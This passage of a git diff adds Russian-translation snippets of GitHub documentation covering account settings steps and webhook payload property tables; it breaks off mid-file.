a/translations/ru-RU/data/reusables/user-settings/personal_access_tokens.md b/translations/ru-RU/data/reusables/user-settings/personal_access_tokens.md new file mode 100644 index 000000000000..0a2887b96d69 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/personal_access_tokens.md @@ -0,0 +1,2 @@ +1. In the left sidebar, click **{% data variables.product.pat_generic_caps %}s**. +![{% data variables.product.pat_generic_caps %}s](/assets/images/help/settings/personal_access_tokens_tab.png) diff --git a/translations/ru-RU/data/reusables/user-settings/personal_dashboard.md b/translations/ru-RU/data/reusables/user-settings/personal_dashboard.md new file mode 100644 index 000000000000..fb39c232c7d4 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/personal_dashboard.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e156611034e4284f18c6ced1ea216d0cbbd7755a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067404" +--- +{% ifversion fpt or ghec %}[личная панель мониторинга](https://github.com/dashboard){% else %}личная панель мониторинга (`https://[hostname]/dashboard`){% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/removes-personal-access-tokens.md b/translations/ru-RU/data/reusables/user-settings/removes-personal-access-tokens.md new file mode 100644 index 000000000000..3840329b4cd3 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/removes-personal-access-tokens.md @@ -0,0 +1 @@ +As a security precaution, {% data variables.product.company_short %} automatically removes {% data variables.product.pat_generic %}s that haven't been used in a year. To provide additional security, we highly recommend adding an expiration to your {% data variables.product.pat_generic %}s. diff --git a/translations/ru-RU/data/reusables/user-settings/repo-tab.md b/translations/ru-RU/data/reusables/user-settings/repo-tab.md new file mode 100644 index 000000000000..dc3742b0ea3d --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/repo-tab.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Code planning, and automation" section of the sidebar, click **{% octicon "repo" aria-label="The repo icon" %} Repositories**. +{% else %} +1. In the left sidebar, click **Repositories**. + ![Repositories tab](/assets/images/help/settings/repos-tab.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/restore-confirmation.md b/translations/ru-RU/data/reusables/user-settings/restore-confirmation.md new file mode 100644 index 000000000000..62b3be4c372d --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/restore-confirmation.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: d8a86fe16585267cf6d5ae680cc1ed5fc424fbef +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067391" +--- +1. Прочтите предупреждение, а затем щелкните **Я понимаю. Восстановить этот репозиторий**. + ![Кнопка для подтверждения восстановления](/assets/images/help/settings/confirm-restoration-button.png) diff --git a/translations/ru-RU/data/reusables/user-settings/restore-repo.md b/translations/ru-RU/data/reusables/user-settings/restore-repo.md new file mode 100644 index 000000000000..1a8e29c1de47 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/restore-repo.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 8f301ab0991b6008f2e635e5e658e6a19ae0af48 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145067386" +--- +1. Рядом с репозиторием, который требуется восстановить, нажмите кнопку **Восстановить**. + ![Кнопка "Восстановить"](/assets/images/help/settings/restore-button.png) diff --git a/translations/ru-RU/data/reusables/user-settings/review-oauth-apps.md b/translations/ru-RU/data/reusables/user-settings/review-oauth-apps.md new file mode 100644 index 000000000000..cc4418945f68 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/review-oauth-apps.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 928fa1d4d1215a01d1454f0e14758ff1b7543ff1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145067385" +--- +1. Проверьте маркеры, имеющие доступ к вашей учетной записи. Рядом с неизвестными или устаревшими маркерами щелкните **{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}** , а затем щелкните **Отозвать**. Чтобы отозвать все маркеры, щелкните **Отозвать все**. + ![Список авторизованных приложений {% data variables.product.prodname_oauth_apps %}](/assets/images/help/settings/revoke-oauth-app.png) diff --git a/translations/ru-RU/data/reusables/user-settings/review_oauth_tokens_tip.md b/translations/ru-RU/data/reusables/user-settings/review_oauth_tokens_tip.md new file mode 100644 index 000000000000..fb00074d1ace --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/review_oauth_tokens_tip.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 83a179dc54c4d11625aca426c302e3fadcc835b4 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067380" +--- +Рекомендуется регулярно просматривать авторизованные интеграции. Удалите все приложения и маркеры, которые не использовались в течение некоторого времени. Дополнительные сведения см. в статье "[Просмотр авторизованных интеграций](/articles/reviewing-your-authorized-integrations)". diff --git a/translations/ru-RU/data/reusables/user-settings/saved_replies.md b/translations/ru-RU/data/reusables/user-settings/saved_replies.md new file mode 100644 index 000000000000..e8b515e328fb --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/saved_replies.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Code, planning, and automation" section of the sidebar, click **{% octicon "reply" aria-label="The reply icon" %} Saved replies**. +{% else %} +1. In the left sidebar, click **Saved replies**. +![Saved replies tab](/assets/images/help/settings/saved-replies-tab.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/security-analysis.md b/translations/ru-RU/data/reusables/user-settings/security-analysis.md new file mode 100644 index 000000000000..633c1d4071ea --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/security-analysis.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Security" section of the sidebar, click **{% octicon "shield-lock" aria-label="The shield-lock icon" %} Code security and analysis**. +{% else %} +1. In the left sidebar, click **Security & analysis**. +![Security and analysis settings](/assets/images/help/settings/settings-sidebar-security-analysis.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/security.md b/translations/ru-RU/data/reusables/user-settings/security.md new file mode 100644 index 000000000000..e22f68f57192 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/security.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Access" section of the sidebar, click **{% octicon "shield-lock" aria-label="The shield-lock icon" %} Password and authentication**. +{% else %} +1. In the left sidebar, click **Account security**. +![Personal account security settings](/assets/images/help/settings/settings-sidebar-account-security.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/select_primary_email.md b/translations/ru-RU/data/reusables/user-settings/select_primary_email.md new file mode 100644 index 000000000000..0b3d411b651c --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/select_primary_email.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 0ae39e8691ca651103e170d3f5c37c22fcadfc63 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067350" +--- +1. В списке "Основной адрес электронной почты" выберите адрес электронной почты, который вы хотите связать с веб-операциями Git. +![Выбор основного адреса электронной почты](/assets/images/help/settings/email_primary.png) diff --git a/translations/ru-RU/data/reusables/user-settings/sessions.md b/translations/ru-RU/data/reusables/user-settings/sessions.md new file mode 100644 index 000000000000..eb0a7712665d --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/sessions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: bd35cf7047bb22a5c41ba794a5fb02317f9f705f +ms.sourcegitcommit: b2e5d14036a700b781e91158a552f8c0b1f04839 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/15/2022 +ms.locfileid: "148165591" +--- +1. В разделе "Доступ" боковой панели щелкните **{% octicon "broadcast" aria-label="The broadcast icon" %} Сеансы**. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/user-settings/set_your_email_address_in_git.md b/translations/ru-RU/data/reusables/user-settings/set_your_email_address_in_git.md new file mode 100644 index 000000000000..516618ba36d8 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/set_your_email_address_in_git.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: cb62987436314392ac6f2d9b46a0462635361942 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146339901" +--- +Настройте адрес электронной почты в Git. Можно использовать {% ifversion fpt or ghec %}ваш[`noreply`адрес электронной почты](/articles/setting-your-commit-email-address), указанный {% data variables.product.product_name %} или любой адрес электронной почты{% endif %}. diff --git a/translations/ru-RU/data/reusables/user-settings/set_your_git_username.md b/translations/ru-RU/data/reusables/user-settings/set_your_git_username.md new file mode 100644 index 000000000000..3c32eea9642d --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/set_your_git_username.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e8d898d95221d104deae96445e0096d93afd180f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067332" +--- +Задайте имя пользователя Git: diff --git a/translations/ru-RU/data/reusables/user-settings/ssh.md b/translations/ru-RU/data/reusables/user-settings/ssh.md new file mode 100644 index 000000000000..cf6c7a99bc1d --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/ssh.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Access" section of the sidebar, click **{% octicon "key" aria-label="The key icon" %} SSH and GPG keys**. +{% else %} +1. In the user settings sidebar, click **SSH and GPG keys**. +![Authentication keys](/assets/images/help/settings/settings-sidebar-ssh-keys.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/sudo-mode-popup.md b/translations/ru-RU/data/reusables/user-settings/sudo-mode-popup.md new file mode 100644 index 000000000000..f3884faf71b0 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/sudo-mode-popup.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: f9f401d377306e461c365c77089f478f9cd9b6a3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147508041" +--- +{%- ifversion fpt or ghec or ghes %} +1. При появлении запроса подтвердите доступ к {% data variables.product.product_name %}. Дополнительные сведения см. в разделе "[Режим sudo](/authentication/keeping-your-account-and-data-secure/sudo-mode)". +{%- endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/update-preferences.md b/translations/ru-RU/data/reusables/user-settings/update-preferences.md new file mode 100644 index 000000000000..c628ad7cdafb --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/update-preferences.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7cfe8e63c70c87e6399e0ec443a987887bc627ca +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147065701" +--- +1. Щелкните **Обновить параметры**. diff --git a/translations/ru-RU/data/reusables/user-settings/update_oauth_app.md b/translations/ru-RU/data/reusables/user-settings/update_oauth_app.md new file mode 100644 index 000000000000..b3325ccdca9f --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/update_oauth_app.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 5f4fa75da98bb6410aaa994aead4767e518c558e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145067319" +--- +1. Щелкните **Обновить приложение**. +![Кнопка для обновления приложения](/assets/images/oauth-apps/oauth_apps_update_application.png) diff --git a/translations/ru-RU/data/reusables/user-settings/user-api.md b/translations/ru-RU/data/reusables/user-settings/user-api.md new file mode 100644 index 000000000000..121c04090537 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/user-api.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 740d5655197f25385b0ac206fdeea33a585f3ad4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147060229" +--- +Во многих ресурсах в этом API имеется ярлык для получения сведений о текущем пользователе, прошедшем проверку подлинности. Если URL-адрес запроса не содержит параметра `{username}`, то ответ дается для пользователя, вошедшего в систему (вместе с запросом потребуется передать [данные проверки подлинности](/rest/overview/resources-in-the-rest-api#authentication)).{% ifversion fpt or ghes or ghec %} Дополнительные закрытые сведения, например включена ли у пользователя двухфакторная проверка подлинности, добавляются при обычной проверке подлинности или проверке OAuth с областью действия `user`.{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/verify-org-approved-email-domain.md b/translations/ru-RU/data/reusables/user-settings/verify-org-approved-email-domain.md new file mode 100644 index 000000000000..d2253b1898a0 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/verify-org-approved-email-domain.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6445e654f1319cdc29445cdaa15fee44963d73ae +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067314" +--- +Если организация, членом которой вы являетесь, ограничивает уведомления по электронной почте утвержденным доменом электронной почты, вам нужно будет подтвердить адрес электронной почты в этом домене, чтобы получать уведомления по электронной почте о деятельности в организации. Дополнительные сведения см. в статье "[Ограничение уведомлений по электронной почте утвержденным доменом](/articles/restricting-email-notifications-to-an-approved-domain)". diff --git a/translations/ru-RU/data/reusables/vs-code/open-command-palette.md b/translations/ru-RU/data/reusables/vs-code/open-command-palette.md new file mode 100644 index 000000000000..99540761503e --- /dev/null +++ b/translations/ru-RU/data/reusables/vs-code/open-command-palette.md @@ -0,0 +1 @@ + 1. Open the {% data variables.product.prodname_vscode_command_palette_shortname %} (Shift+Command+P (Mac) / Ctrl+Shift+P (Windows/Linux)). diff --git a/translations/ru-RU/data/reusables/webhooks/action_type_desc.md b/translations/ru-RU/data/reusables/webhooks/action_type_desc.md new file mode 100644 index 000000000000..c1ec5345a414 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/action_type_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f259e8804d06a905580d53fb551aa5df858d582a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067308" +--- +Тип действия указывается в свойстве `action` объекта полезных данных. diff --git a/translations/ru-RU/data/reusables/webhooks/app_always_desc.md b/translations/ru-RU/data/reusables/webhooks/app_always_desc.md new file mode 100644 index 000000000000..a6978739d189 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/app_always_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b0f3cfad343a649eaeea82e51c864765faf9fd89 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067289" +--- +`installation` | `object` | Установка {% data variables.product.prodname_github_app %}. diff --git a/translations/ru-RU/data/reusables/webhooks/app_desc.md b/translations/ru-RU/data/reusables/webhooks/app_desc.md new file mode 100644 index 000000000000..856f8ca5efce --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/app_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4e83f06aeaffca61b5c218d3e39b746e20794d60 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067277" +--- +`installation` | `object` | Установка {% data variables.product.prodname_github_app %}. Когда событие настроено и отправляется в {% data variables.product.prodname_github_app %}, полезные данные веб-перехватчика содержат свойство `installation`. diff --git a/translations/ru-RU/data/reusables/webhooks/authorization_event.md b/translations/ru-RU/data/reusables/webhooks/authorization_event.md new file mode 100644 index 000000000000..d72e24a53d49 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/authorization_event.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5466f29d4bb496b6451846f80a90f7b0471f8cda +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067272" +--- +Любой пользователь может отменить авторизацию приложения GitHub со своей [страницы параметров учетной записи GitHub](https://github.com/settings/apps/authorizations). Отмена авторизации приложения GitHub не деинсталлирует приложение GitHub. Стоит запрограммировать приложение GitHub таким образом, чтобы при получении этого веб-перехватчика оно переставало вызывать API от имени пользователя, который отозвал маркер. Если приложение GitHub продолжает использовать отозванный маркер доступа, оно получит ошибку `401 Bad Credentials`. diff --git a/translations/ru-RU/data/reusables/webhooks/check_run_properties.md b/translations/ru-RU/data/reusables/webhooks/check_run_properties.md new file mode 100644 index 000000000000..e7997f2f78ec --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/check_run_properties.md @@ -0,0 +1,20 @@ +--- +ms.openlocfilehash: 32ab126dadd891784d769bd869cf563c6783aedc +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067271" +--- +Ключ | Тип | Описание +----|------|------------- +`action`|`string` | выполненные операции; Возможные значения:
    • `created` — было создано выполнение проверки.
    • `completed` — `status` выполнения проверки имеет значение `completed`.
    • `rerequested` — кто-то запросил повторное выполнение проверки из пользовательского интерфейса запроса на вытягивание. Дополнительные сведения о пользовательском интерфейсе GitHub см. в статье "[Сведения о проверках состояния](/articles/about-status-checks#checks)". При получении действия `rerequested`необходимо [создать выполнение проверки](/rest/reference/checks#create-a-check-run). Полезные данные `rerequested` получит только приложение {% data variables.product.prodname_github_app %}, которое кто-то запрашивает для повторного выполнения проверки.
    • `requested_action` — кто-то запросил выполнение действия, предоставляемого вашим приложением. Полезные данные `requested_action` получит только приложение {% data variables.product.prodname_github_app %}, которое кто-то запрашивает для выполнения действия. Дополнительные сведения о выполнениях проверок и запрошенных действиях см. в статье "[Выполнения проверок и запрошенные действия](/rest/reference/checks#check-runs-and-requested-actions)".
    +`check_run`|`object` | [check_run](/rest/reference/checks#get-a-check-run). +`check_run[status]`|`string` | Текущее состояние выполнения проверки. Возможные значения: `queued`, `in_progress` или `completed`. +`check_run[conclusion]`|`string` | Результат завершенного выполнения проверки. Допустимые значения: `success`, `failure`, `neutral`, `cancelled`, `timed_out`, `action_required` или `stale` Это значение будет равно `null` до тех пор, пока выполнение проверки не будет иметь значение `completed`. +`check_run[name]`|`string` | Имя выполнения проверки. +`check_run[check_suite][id]`|`integer` | Идентификатор набора проверок, в который входит это выполнение проверки. +`check_run[check_suite][pull_requests]`|`array`| Массив запросов на вытягивание, которые соответствуют этому набору проверок. Запрос на вытягивание соответствует набору проверок, если их `head_branch` совпадает.

    **Примечание**.
    • `head_sha` набора проверок может отличаться от `sha` запроса на вытягивание, если последующие отправки выполняются в запрос на вытягивание.
    • Если `head_branch` набора проверок находится в разветвленном репозитория, он будет равен`null`, а массив `pull_requests` будет пустым.
    +`check_run[check_suite][deployment]`|`object`| Развертывание в среду репозитория. Заполняется только в том случае, если выполнение проверки было создано заданием рабочего процесса {% data variables.product.prodname_actions %}, ссылающимся на среду. +`requested_action`|`object` | Действие, запрошенное пользователем. +`requested_action[identifier]`|`string` | Ссылка интегратора на действие, запрошенное пользователем. diff --git a/translations/ru-RU/data/reusables/webhooks/check_run_short_desc.md b/translations/ru-RU/data/reusables/webhooks/check_run_short_desc.md new file mode 100644 index 000000000000..81600f0bfb9f --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/check_run_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 947a858253f7ee2c96827796197e7be01dd69a1a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145067266" +--- +Произошло действие выполнения проверок. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в статье о REST API "[Выполнения проверок](/rest/reference/checks#runs)". diff --git a/translations/ru-RU/data/reusables/webhooks/check_suite_properties.md b/translations/ru-RU/data/reusables/webhooks/check_suite_properties.md new file mode 100644 index 000000000000..7cdbb1c7b3f3 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/check_suite_properties.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: 67fd6cd7e895b7e121c0972702473305fc560b24 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147116196" +--- +Ключ | Тип | Описание +----|------|------------- +`action`|`string` | выполненные операции; Возможны следующие варианты:
    • `completed` — все выполнения проверок в наборе проверок завершены.
    • `requested` — происходит при отправке нового кода в репозиторий приложения. При получении события действия `requested` вам потребуется [создать новое выполнение проверки](/rest/reference/checks#create-a-check-run).
    • `rerequested` — происходит, когда кто-то запрашивает повторное выполнение всего набора проверок из пользовательского интерфейса запроса на вытягивание. При получении события действия `rerequested` вам потребуется [создать новое выполнение проверки](/rest/reference/checks#create-a-check-run). Дополнительные сведения о пользовательском интерфейсе GitHub см. в статье "[Сведения о проверках состояния](/articles/about-status-checks#checks)".
    +`check_suite`|`object` | [check_suite](/rest/reference/checks#suites). +`check_suite[head_branch]`|`string` | Имя главной ветви, в которой находятся изменения. +`check_suite[head_sha]`|`string` | SHA последней фиксации для этого набора проверок. +`check_suite[status]`|`string` | Сводные данные о состоянии всех выполнений проверок, входящих в набор проверок. Может иметь значение `queued`, `requested`, `in_progress` или `completed`. +`check_suite[conclusion]`|`string`| Сводные данные о заключении всех выполнений проверок, входящих в набор проверок. Это может быть `success`, `failure`, `neutral`, `cancelled`, `timed_out`, `action_required` или `stale`. Это значение будет равно `null` до тех пор, пока выполнение проверки не будет иметь значение `completed`. +`check_suite[url]`|`string` | URL-адрес, указывающий на ресурс API набора проверки. +`check_suite[pull_requests]`|`array`| Массив запросов на вытягивание, которые соответствуют этому набору проверок. Запрос на вытягивание соответствует набору проверок, если их `head_branch` совпадает.

    **Примечание**.
    • `head_sha` набора проверок может отличаться от `sha` запроса на вытягивание, если последующие отправки выполняются в запрос на вытягивание.
    • Если `head_branch` набора проверок находится в разветвленном репозитория, он будет равен`null`, а массив `pull_requests` будет пустым.
    diff --git a/translations/ru-RU/data/reusables/webhooks/check_suite_short_desc.md b/translations/ru-RU/data/reusables/webhooks/check_suite_short_desc.md new file mode 100644 index 000000000000..78099b2e8ceb --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/check_suite_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 884a76854a09eb1ff5ee2d6ecb8728d40190cbce +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067260" +--- +Произошло действие набора проверок. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в статье о REST API "[Наборы проверок](/rest/reference/checks#suites)". diff --git a/translations/ru-RU/data/reusables/webhooks/code_scanning_alert_event_properties.md b/translations/ru-RU/data/reusables/webhooks/code_scanning_alert_event_properties.md new file mode 100644 index 000000000000..fd14d0822d60 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/code_scanning_alert_event_properties.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 0d90cfeda767e8df43964320baab50350a1d8ae4 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145087536" +--- +Ключ | Тип | Описание +----|------|------------- +`action` | `string` | Действие, которое было выполнено. Можно выбрать `created`, `reopened_by_user`, `closed_by_user`, `fixed`, `appeared_in_branch` или `reopened`. +`alert` | `object` | Оповещение о проверке кода, связанное с событием. +`ref` | `string` | Ссылка Git на оповещение о проверке кода. Если действие имеет ключ `reopened_by_user` или `closed_by_user`, событие было активировано `sender` и это значение будет пустым. +`commit_oid` | `string` | SHA фиксации для оповещения о проверке кода. Если действие имеет ключ `reopened_by_user` или `closed_by_user`, событие было активировано пользователем `sender` и это значение будет пустым. diff --git a/translations/ru-RU/data/reusables/webhooks/code_scanning_alert_event_short_desc.md b/translations/ru-RU/data/reusables/webhooks/code_scanning_alert_event_short_desc.md new file mode 100644 index 000000000000..1d260d92d8ca --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/code_scanning_alert_event_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: cc88fa011d7d38ff839c8704cfa54f4e32248e29 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145087531" +--- +Действия, связанные с оповещениями о проверке кода в репозитории. Тип действия указывается в свойстве действия объекта полезных данных. Дополнительные сведения см. в статье "[Сведения о проверке кода](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)". diff --git a/translations/ru-RU/data/reusables/webhooks/commit_comment_properties.md b/translations/ru-RU/data/reusables/webhooks/commit_comment_properties.md new file mode 100644 index 000000000000..17640f88bb10 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/commit_comment_properties.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 8deeff67d6d1d2563afaf8d7d3604a6ec8e6732b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145087525" +--- +Ключ | Тип | Описание +----|------|------------- +`action`|`string` | выполненные операции; Может иметь значение `created`. +`comment`|`object` | Ресурс [комментария фиксации](/rest/reference/commits#get-a-commit-comment). diff --git a/translations/ru-RU/data/reusables/webhooks/commit_comment_short_desc.md b/translations/ru-RU/data/reusables/webhooks/commit_comment_short_desc.md new file mode 100644 index 000000000000..782da0337cea --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/commit_comment_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f854ca7eaa31e3104624176968823d5faaa8f8cc +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881975" +--- +Создается комментарий к фиксации. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в статье о REST API "[комментарий к фиксации](/rest/reference/repos#comments)". diff --git a/translations/ru-RU/data/reusables/webhooks/content_reference_short_desc.md b/translations/ru-RU/data/reusables/webhooks/content_reference_short_desc.md new file mode 100644 index 000000000000..68eb88793979 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/content_reference_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d1a09b2e8dda10045be7d37028096da448a3750c +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881991" +--- +Новая ссылка на содержимое `created`. Новая ссылка на содержимое создается, когда текст или комментарий проблемы или запроса на включение внесенных изменений содержит URL-адрес, соответствующий настроенному домену ссылок на содержимое. Чтобы узнать больше о ссылках на содержимое и вложениях, см. раздел "[Использование вложенного содержимого](/apps/using-content-attachments/)". diff --git a/translations/ru-RU/data/reusables/webhooks/content_type.md b/translations/ru-RU/data/reusables/webhooks/content_type.md new file mode 100644 index 000000000000..bd17b0dc84d1 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/content_type.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: af18d54a50f016bdd0e475e40b31c74784788025 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145087518" +--- +Веб-перехватчики могут доставляться с помощью разных типов содержимого: + +- Тип содержимого 